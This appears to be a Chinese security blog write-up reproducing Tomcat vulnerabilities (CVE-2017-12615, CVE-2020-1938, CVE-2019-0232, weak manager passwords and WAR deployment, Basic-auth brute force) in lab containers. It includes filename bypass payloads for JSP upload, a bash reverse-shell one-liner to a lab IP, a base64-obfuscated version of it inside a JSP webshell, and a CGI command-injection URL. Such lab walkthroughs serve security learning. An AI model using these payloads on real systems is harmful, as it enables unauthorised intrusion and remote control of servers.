Tomcat漏洞

发布于 2022-03-30  296 次阅读


简介

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。

CVE-2017-12615对应的漏洞为任意文件写入,主要影响的是Tomcat的7.0.0-7.0.81这几个版本

CVE-2017-12615

漏洞原理

由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

漏洞复现

这里使用vuluhub的docker进行漏洞复现

首先进入CVE-2017-12615的docker环境

image-20220329153824740

这里首先进入docker里查看一下web.xml的代码,可以看到这里readonly设置为false,所以存在漏洞

sudo docker exec -ti ec bash    //进入docker容器
cat conf/web.xml | grep readonly

这里首先进入docker里查看一下web.xml的代码,可以看到这里readonly设置为false,所以存在漏洞

image-20220329160254549

访问8080端口

image-20220329160409987

在8080端口进行抓包,发现是一个GET方法

image-20220329160720243

这里首先测试一下,改为PUT方法写入一个test.txt,这里看到返回201,应该已经上传成功了

image-20220329161107331

这里进入docker查看一下已经写入成功了

image-20220329161206826

使用PUT方法上传任意文件,但限制了jsp后缀的上传,这里首先使用PUT方法直接上传一个冰蝎的jsp上去,发现返回的是404,应该是被拦截了

image-20220329161628674

这里就需要进行绕过,这里绕过有三种方法

Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
Windows NTFS流
Put/a001.jsp::$DATA HTTP/1.1
/在文件名中是非法的,也会被去除(Linux/Windows)
Put/a001.jsp/http:/1.1

首先使用%20绕过。我们知道%20对应的是空格,在windows中若文件这里在jsp后面添加%20即可达到自动抹去空格的效果。这里看到返回201已经上传成功了

image-20220329161821154

进入docker查看一下,确认是上传上去了

image-20220329161857910

第二种方法为在jsp后缀后面使用/,因为/在文件名中是非法的,在windows和linux中都会自动去除。根据这个特性,上传/ice1.jsp/,看到返回201

image-20220329162018669

第三种方法就是使用Windows NTFS流,在jsp后面添加::$DATA,看到返回201,上传成功

image-20220329162047897

拿到webshell

image-20220329171349353

CVE-2020-1938

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip

image-20220330104429323

image-20220330104837085

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

image-20220330104922665

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下

image-20220330105012678

漏洞复现

启动CVE-2020-1938的docker环境

首先使用poc进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件

POC全称“proof of concept”中文意思是:漏洞概念验证。通常由一段漏洞验证代码或者漏洞检测数据。通过对检测目标发送此代码或数据后,通过被检测目标返回的信息特殊性,判断漏洞的实际存在与否

使用python3需要修改CNVD-2020-10487-Tomcat-Ajp-lfi.py文件以下代码:

self.socket.makefile("rb", bufsize=0) -->change self.socket.makefile("rb", buffering=0)
print("".join([d.data for d in data])) -->print("".join([d.data.decode() for d in data]))

查看8009端口下的web.xml文件

image-20220330112642143

使用bash反弹shell

bash -i >& /dev/tcp/192.168.226.128/8888 0>&1

因为是java的原因所以需要转换一下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMjgvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}

生成一个test.txt,这里只需要换payload就可以

<%    
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMjgvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;    
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    out.println(new String(b));    
}    
out.print("</pre>");%>

需要将这个木马上传到服务器,由于这里没有这个上传功能,所以我们这里就直接把这个木马复制过去

image-20220330124435310

在这里有一个txt文件,按道理来说是不解析的,通过另一个脚本进行解析

image-20220330131341413

再打开msf来去开启 监听,那么对方包含这个文件的时候,我们主机在kail这里就可以成功上线

image-20220330131402302

成功获取shell

弱口令&war远程部署

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台

漏洞复现

进入tomcat8的docker环境

image-20220330132719953

访问后台管理地址,使用tomcat/tomcat进入后台

image-20220330132848218

image-20220330132902332

看到这里有一个上传war包的地方,这里很多java的中间件都可以用war远程部署来拿shell,tomcat也不例外

首先将shell.jsp打包成test.war

jar -cvf test.war .

image-20220330134057978

image-20220330134112978

点击上传即可看到上传的test.war已经部署成功

image-20220330134443209

访问一下没有报错404那么应该已经上传成功

image-20220330134532255

使用冰蝎连接即可得到shell

image-20220330135015085

这里也可以用msf里面的exploit/multi/http/tomcat_mgr_upload 模块,在这里不做演示

CVE-2019-0232

CVE-2019-0232为Apache Tomcat RCE

漏洞原理

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的

Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "arg.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞

漏洞复现

启动tomcat

image-20220330135537806

访问一下已经启动成功

image-20220330135606537

Tomcat的 CGI_Servlet组件默认是关闭的,在conf/web.xml中找到注释的 CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable

image-20220330135639972

这里注意一下,去掉注释并添加以下代码

enableCmdLineArguments启用后才会将Url中的参数传递到命令行executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。
<init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
</init-param>
<init-param>
    <param-name>executable</param-name>
    <param-value></param-value>
</init-param>

然后在conf/web.xml中启用cgi的 servlet-mapping

image-20220330135818997

修改conf/context.xml的添加 privileged="true"属性,否则会没有权限

image-20220330135901407

添加true

<Context privileged="true">

image-20220330135929895

C:\Tomcat\webapps\ROOT\WEB-INF下创建cgi-bin目录

image-20220330135950727

在该目录下创建一个hello.bat

image-20220330140004417

然后重启tomcat环境

image-20220330140018967

访问http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe即可弹出计算器,这里构造系统命令即可
image-20220330140037361

manager App暴力破解

漏洞原理

后台密码用base64编码传输,抓包解密即可得到后台密码,也可以进行爆破

漏洞复现

这里访问http://192.168.226.128:8080/manager/html进行抓包,在没有输入帐号密码的时候是没有什么数据的

image-20220330140432419

把这个包放过去,会请求输入用户名和密码,再进行抓包

image-20220330140505629

就可以得到Authorization这个字段,这个字段有一个Basic,就是base64加密的意思

image-20220330140615396

这里直接放到base64解密得到tomcat:tomcat的密码

image-20220330140727292

进入后台之后再次抓包可以看到有一个cookie,但是没有了Authorization这个字段

image-20220330140805696

我们可以对字段进行爆破,加上Authorization即可

image-20220330141503378

攻击即可拿到账号密码

image-20220330141729421

Daniel_WRF
最后更新于 2022-04-21